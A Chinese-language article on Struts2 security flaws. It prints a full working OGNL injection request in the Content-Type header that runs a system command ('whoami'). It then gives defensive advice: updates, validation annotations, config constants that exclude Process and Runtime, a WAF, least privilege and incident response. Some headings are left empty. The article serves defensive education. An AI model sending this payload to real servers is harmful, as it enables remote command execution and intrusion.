Struts2作为流行的Java Web框架,历史上曾多次曝出严重安全漏洞,以下是几个典型示例:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: vulnerable-site.com
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
此攻击利用Content-Type头中的OGNL表达式执行系统命令"whoami"。
及时更新:始终保持Struts2框架为最新版本
输入验证:
// 示例:使用Struts2验证框架
@Validations(
requiredStrings={
@RequiredStringValidator(fieldName="username", message="用户名不能为空")
},
expressions={
@ExpressionValidator(expression="username.length() >= 6", message="用户名至少6位")
}
)
安全配置:
xml
<constant name="struts.enable.DynamicMethodInvocation" value="false"/>
xml
<constant name="struts.ognl.excludedClasses"
value="java.lang.Process,java.lang.Runtime"/>
Web应用防火墙(WAF):部署WAF拦截可疑请求
最小权限原则:运行Struts2应用的服务器账户应具有最小必要权限
自动化扫描:
手动检测:
/struts/webconsole.html
等默认路径发现漏洞利用迹象后应立即: 1. 隔离受影响系统 2. 升级Struts2到安全版本 3. 检查系统日志寻找入侵痕迹 4. 必要时重置服务器凭证和密钥
Struts2的安全需要持续关注和主动防护,建议建立框架组件更新机制和安全监控体系。